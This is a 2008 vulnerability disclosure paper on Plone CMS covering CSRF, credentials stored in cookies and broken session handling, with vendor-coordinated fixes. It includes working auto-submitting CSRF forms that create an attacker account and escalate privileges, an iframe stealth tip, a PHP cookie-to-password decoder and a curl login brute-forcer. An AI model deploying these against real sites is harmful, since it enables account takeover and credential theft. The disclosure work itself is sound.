PURPLE PAPER

Plone CMS Security Research

The Art of Plowning

Adrian Pastor
11th March 2008

www.procheckup.com

Table of Contents

1 Quick intro

1.1 Product description

Plone is a ready-to-run content management system built on the powerful, and free, Zope application server. Plone is easy to set up, extremely flexible, and provides you with a system for managing web content that is ideal for project groups, communities, web sites, extranets and intranets [1].

Plone is designed with security in mind by addressing the 10 most common security vulnerabilities in web applications (OWASP Top 10) [2].

1.2 About this paper

All the issues highlighted in this paper were identified on default installations of Plone (i.e.: no plugins were installed). There are several plugins that can be used to mitigate *some* of the issues highlighted in this paper.

In the title of this paper, “Plowning” is nothing more than a play on words combining Plone and “pwning” a.k.a. “owning”. In this context, “pwning” refers to hacking, bypassing, or compromising a system and its security restrictions.

1.3 Summary of issues identified

- CSRF (Cross-site Request Forgeries)
- Credentials (username and password) stored in cookies
- Lack of authentication state on the server side
- Session cookies never, ever change (even after user password is changed or user logs out!)

2 Issues found

2.1 CSRF (Cross-site Request Forgery)

Plone CMS doesn't tokenize HTTP requests, including administrative requests. Since administrative HTTP requests can be predicted, the application is vulnerable to CSRF. For instance, if an `admin` user was tricked into visiting a third-party page while being logged-in, the malicious page could add a new admin account (among other malicious attacks) by simply embedding an invisible HTML form that auto-submits itself.

The following request adds a new account. After forging such request, the attacker would receive an email that allows him/her to set his/her password:

```
POST /join_form HTTP/1.1
Host: domain.foo
Content-Length: 255

last_visit%3Adate=2008%2F01%2F14+13%3A40%3A48.220+GMT&prev_visit%3Ada
te=2008%2F01%2F14+13%3A40%3A48.221+GMT&came_from_prefs=1&fullname=evi
lattacker&username=hax0r&email=evilploneattacker%40attackersdomain.fo
o&form.button.Register=Register&form.submitted=1
```

Which can be forged via a HTML form that is submitted automatically:

```
<!-- CSRF - add a new account -->
<html><head></head><body
onload="javascript:document.forms.csrform.submit();">
<form name="csrform" action="http://domain.foo/Plone/join_form"
method="POST">
<input type="hidden" name="last_visit:date" value="2008/01/15
10:11:29.451 GMT" />
<input type="hidden" name="prev_visit:date" value="2008/01/15
10:11:29.452 GMT" />
<input type="hidden" name="came_from_prefs" value="1" />
<input type="hidden" name="fullname" id="fullname" size="30"
value="evil attacker"/>
<input type="hidden" name="username" id="username" size="30"
value="hax0r"/>
<input type="hidden" name="email" id="email" size="30"
value="evilploneattacker@attackersdomain.foo" />
<input type="hidden" name="form.button.Register" value="Register" />
<input type="hidden" name="form.submitted" value="1" />
</form>
</body>
</html>
```

Once the attacker's account has been created using the aforementioned PoC exploit, a second CSRF attack could be launched which upgrades his/her account to `manager` privileges. Or even better, make all default groups have full administrative privileges:

- Administrators
- Reviewers
- Authenticated Users (Virtual Group)

```
<!-- CSRF - give full privileges to all users of three groups present
by default: Administrators, Reviewers, Authenticated Users (Virtual
Group) -->
<html><head></head><body
onload="javascript:document.forms.csrfform.submit();">
<form action="http://domain.foo/Plone/prefs_groups_overview"
name="csrfform" method="post">
<input name="form.submitted" value="1" type="hidden">
<input name="form.button.AddGroup" value="Add New Group"
type="hidden">
<input value="0" name="b_start" type="hidden">
<input name="group_Administrators:list" value="" type="hidden">
<input name="group_Administrators:list" value="Contributor"
type="hidden">
<input name="group_Administrators:list" value="Editor" type="hidden">
<input name="group_Administrators:list" value="Member" type="hidden">
<input name="group_Administrators:list" value="Reader" type="hidden">
<input name="group_Administrators:list" value="Reviewer"
type="hidden">
<input name="group_Administrators:list" value="Manager"
type="hidden">
<input name="group_Reviewers:list" value="" type="hidden">
<input name="group_Reviewers:list" value="Contributor" type="hidden">
<input name="group_Reviewers:list" value="Editor" type="hidden">
<input name="group_Reviewers:list" value="Member" type="hidden">
<input name="group_Reviewers:list" value="Reader" type="hidden">
<input name="group_Reviewers:list" value="Reviewer" type="hidden">
<input name="group_Reviewers:list" value="Manager" type="hidden">
<input name="group_AuthenticatedUsers:list" value="" type="hidden">
<input name="group_AuthenticatedUsers:list" value="Contributor"
type="hidden">
<input name="group_AuthenticatedUsers:list" value="Editor"
type="hidden">
<input name="group_AuthenticatedUsers:list" value="Member"
type="hidden">
<input name="group_AuthenticatedUsers:list" value="Reader"
type="hidden">
<input name="group_AuthenticatedUsers:list" value="Reviewer"
type="hidden">
<input name="group_AuthenticatedUsers:list" value="Manager"
type="hidden">
<input name="form.button.Modify" value="Apply Changes" type="hidden">
</form></body></html>
```

A more elegant exploit would consist of combining the two previous CSRF PoCs into the same malicious webpage so that a new account is created for the attacker, and all users are given full privileges.

The vendor has stated that a lot of work has been invested in fixing CSRF issues in Plone 2.5 and 3.0. However, some features that allow accounts to be compromised may have been overlooked.

Notes: Regarding the two previous POST CSRF PoCs, in order to avoid the victim user being redirected to the target Plone site (very noisy), the forms could be requested via an invisible `iframe` so that the attack is completely transparent to the victim (happens in the background). Such `iframe` could be located on the same third-party site containing the malicious page that forges the target POST request.

Solution

As a workaround, do not visit third-party sites while being logged in to your Plone site. If visiting a third-party site is required while being logged in, a different web browser (i.e.: Opera instead of Firefox) can be used in order to protect against the aforementioned CSRF issue.

CVE-2008-0164 has been assigned to this issue. For more information, please see Plone’s advisory: http://plone.org/about/security/advisories/cve-2008-0164

Versions affected

All CSRF PoCs were tested on a default install of Plone CMS 3.0.5. Although only version 3.0.5 was tested for CSRF, it is suspected that all previous versions of Plone CMS are also vulnerable.

2.2 Credentials stored in cookies

Storing sensitive information (i.e.: username/password) in cookies is known to be a bad security practice. The purpose of using session IDs is that a unique and unpredictable value is assigned to each user session. That way when the user performs a successful login, the password is not submitted anymore to the server-side application. Instead, the session ID is submitted with every single request after logging in.

Plone however, stores the user credentials (username and password) in the `__ac` cookie. This means that if a cookie is compromised, not only is the user's session compromised, but also the account on its own, since the attacker now knows the victim's username and password. This behavior affects all user accounts, including administrative ones on versions 2.5 and older. It appears that on version 3.x, *only* the `admin` account created after installation is affected by this issue.

Some scenarios in which cookies could be captured by an attacker include, but are not limited to:

- XSS (cross-site scripting) attack
- Users post cookies on public forums for troubleshooting reasons
- Cookie is sniffed due to lack of support of encryption on the server side
- Cookie is capture by having local access to the victim's computer (i.e.: malware)

Plone encodes the username and password separating them with a colon sign (':'), then base64-encoding them and finally URL-encoding them.

Pseudocode of encoding process:

```
url_encode(base64_encode($username:$password))
```

i.e.:

```
Cookie: __ac="dmljdGltOnBhc3N3MHJkIQo%3D"
```

Newer versions of Plone however (we tested version 3.0.5), take the obfuscation one step further for the `admin` user created during installation: hex-encoding is also applied to the "username:password" string before being base64-encoded.

Pseudo-code of encoding process:

```
url_encode(base64_encode(hex_encode($username:$password)))
```

i.e.:

```
Cookie: __ac="NjE2NDZkNjk2ZTo3NDY1NzM3NA%3D%3D"
```

Pseudo-code of decoding process by steps:

```
url_decode($__ac) = "NjE2NDZkNjk2ZTo3NDY1NzM3NA=="

base64_decode("NjE2NDZkNjk2ZTo3NDY1NzM3NA==") = "61646d696e:74657374"

hex_decode(61646d696e) = "admin"

hex_decode(74657374) = "test"
```

According to the vendor's site [2]: "Older Plone versions (i.e.: before Plone 3) use a less secure method where a session cookie containing both the login name and password for a user are used. It is highly recommended to enforce use of HTTPS encryption for such sites." According to our tests, in version 3 (we tested version 3.0.5), the `admin` user created during installation is also affected *unlike newly-added users*. The vendor does indeed appear to be aware of this issue [3] [4] although we couldn't find any information regarding the newly-introduced hex-encoding to obfuscate the login credentials in cookies.

Solution

Never use the `admin` account created after installation in production environments. Instead, create a new account and assign the appropriate permissions for administrative tasks.

Insecure cookies used to manage sessions for users defined outside the Plone site (i.e. users defined at the Zope root) is a design problem, and using those users to login to a site should be considered worst-practice.

Enforce encrypted (i.e.: SSL) HTTP connections and/or upgrade to version 3.x.

Versions affected

Prior to version 3, all accounts are affected by this issue. However, only the `admin` account created after installation is affected on version 3.x.

2.3 Lack of authentication state on the server side

When proper session management is implemented by an application and a user clicks on "logout" - or the idle session timeout period expires (if implemented) - , the session ID should be expired on *both* the client (browser) and the server side.

However, in the case of Plone, there is no real session management implemented. Since the "session ID" (`__ac` cookie) is not really a session ID but rather the user's username and password (versions <=2.5), the server-side application doesn't really keep track of the authentication state of users. In versions 3 and newer, although the `__ac` cookie is now HMAC SHA1 hash (except for the `admin` account), the same issue applies, since each account is always issued the same value for such cookie.

In short, Plone CMS doesn't know if a given user is supposed to be logged in or not at a given time.

When a user clicks on "logout", it may appear that he/she has really logged out as the features that would be available after logging in are not accessible. In reality however, all that's really happened when clicking on "logout" is that Plone overwrites the user's `__ac` cookie via a `Set-cookie:` header.

Request:

```
GET /logout HTTP/1.1
Host: domain.foo
Cookie: __ac="NjE2NDZkNjk2ZTo3NDY1NzM3NA%3D%3D"
```

Response:

```
HTTP/1.x 302 Moved Temporarily
Location: http://domain.foo/logged_out
Set-Cookie: __ac="deleted"; Path=/; Expires=Wed, 31-Dec-97
23:59:59 GMT; Max-Age=0
```

Therefore, after the credentials are overwritten from the cookie, that application stops serving post-authentication features. If a cookie was compromised, the attacker would be able to access the victim's account at any time, regardless of the victim being "logged out" or not (again, there is no real session management).

The vendor has stated that the default session implementation does not do explicit per-user session invalidation on the server since that would result in a very noticeable performance problem on busy sites.

Solution

SessionCrumbler can be used to fix this issue [5].

Versions affected

All versions of Plone CMS.

2.4 Session cookies never (ever) change

In Plone 3.0 and newer, a new version of the `__ac` session ID cookie was introduced. The new version is a HMAC-SHA1 value which solves the issue of the user password being decodable (the username can still be base64-decoded in this new "secure" cookie).

However, there is a problem: the HMAC-SHA1 value doesn't take the user's password into consideration, but rather only his/her username and the server's secret. As a result, the value of the session ID never expires; no matter how many times the user has changed his password. Since the server doesn't keep track of the user's authentication state, being "logged out" wouldn't make a difference regarding the server accepting the same cookie value.

In short, once an attacker steals someone else's cookie, he will be able to compromise the victim user's account *permanently* no matter if the victim changes his password or clicks on logout.

As mentioned before, even on Plone 3.x, the `admin` account created after installation is *not* affected by this new "secure" HMAC-SHA1 session cookie, but rather uses the old decodable credentials format.

The following information has been provided by the Plone Response Security Team regarding the new HMAC-SHA1 based session cookies:

- The secure session mechanism *only* works for users that are defined in the same user folder as the session plugin. It cannot handle users defined in other places such as the Zope root user folder, and a fallback to less secure mechanisms will take place for those users.

- The session plugin is *only* configured in the `acl_users` user folder created by the Plone site creation code inside the Plone site itself. Any access to places outside the Plone site will not be able to use those sessions.

Note: in versions of Plone before 3, on which `__ac` cookie contains the user's login name and password, the value of the cookie will remain the same *until* the user changes his/her password.

Solution

See the ZMI page for the session plugin.

A mechanism such as a `crontab` can be setup to rotate the secrets used to create and validate the session cookies, which will invalidate previously generated cookies.

Versions affected

Plone 3.x.

3 Demo source code

3.1 Plone CMS cookie decoder

The following is a PHP script that decodes `__ac` cookies that follow the format described in section 2.2 of this paper:

```
<form action="<? echo htmlentities($_SERVER['PHP_SELF']) ?>"
method="POST">
<input type="text" name="string" size=40><input type="submit"
value="decode">
</form>
<?

// ploneCookieDec.php - Plone CMS cookies decoder
// by Adrian Pastor of ProCheckUp Ltd (www.procheckup.com)

// function hex_str() from http://www.jonasjohn.de/
function hex_str($hex){
      $string='';
      for ($i=0; $i < strlen($hex)-1; $i+=2){
            $string .= chr(hexdec($hex[$i].$hex[$i+1]));
      }
                return $string;
}

$creds=explode( ":", base64_decode(urldecode($_POST['string'])) );
echo "<pre>";

if($_POST['string']) {
      // newer version of cookie
      if( ctype_alnum($creds[0]) && ctype_alnum($creds[1]) &&
(strlen($creds[0])%2==0) && (strlen($creds[1])%2==0) ) {
                echo "username:
".htmlentities(hex_str($creds[0]))."\n";
                echo "password: ".htmlentities(hex_str($creds[1]));
        }
        // old version of cookie (no hex encoding)
        else
            echo "username: ".htmlentities($creds[0]).
            "\npassword: ".htmlentities($creds[1])."\n";
}

echo "</pre>";

?>
```

3.2 Plone CMS online password auditor

The following is a bash script that can be used to audit admin and user accounts for weak passwords. An application having a login page which is susceptible to password attacks is not of course a vulnerability per say, but rather a weakness. Most CMS login pages are bruteforcable, and although automated password attacks could be avoided by using CAPTCHAs, such protection is not usually implemented due to its lack of user friendliness.

```
#!/bin/bash

# plone-pwd-audit.sh - an online password auditor for Plone CMS
# Tested on version 3.0.5. Script requires curl to work
# by Adrian Pastor of ProCheckUp Ltd (www.procheckup.com)

if [[ $# -ne 3 ]]
then
        echo "usage $0 <login-url> <username> <wordlist-filename>"
        echo "i.e: $0 http://target:8080/Plone/login_form admin dict.txt"
        exit
fi

# if usr/pwd pair is valid, server returns "Set-Cookie: __ac"

for PASSWORD in `cat $3`
do
if curl -s -i -d
"came_from=&form.submitted=1&js_enabled=0&cookies_enabled=&login_name=&pwd_e
mpty=0&__ac_name=$2&__ac_password=$PASSWORD&submit=Log+in" --url "$1" | grep
"Set-Cookie: __ac" > /dev/null
then
        echo "valid credentials: $2/$PASSWORD"
        exit
fi
done
```

4 References

[1] "Project Description"
http://plone.org/about/plone

[2] "Security overview of Plone"
http://plone.org/about/security/overview/security-overview-of-plone/?

[3] "Secure login without plain text passwords"
http://plone.org/documentation/how-to/secure-login-without-plain-text-passwords

[4] "Use session instead of cookie plugin to store PAS authentication"
http://plone.org/products/plone/roadmap/48?

[5] "Session Crumbler"
http://plone.org/products/sessioncrumbler?

5 Credits

Paper written by Adrian Pastor of ProCheckUp Ltd.
Research by Amir Azam, Jan Fry and Adrian Pastor of ProCheckUp Ltd.

ProCheckUp thanks Andreas Zeidler, Wichert Akkerman, Martijn Pieters, Alec Mitchell and Hanno Schlichting of the Plone Security Response Team. We greatly appreciate their excellent response time and willingness to maintain an active dialogue.

ProCheckUp Limited
Syntax House
44 Russell Square
London, WC1B 4JP
Tel: + 44 (0) 20 7307 5001
Fax: +44 (0) 20 7307 5044
www.procheckup.com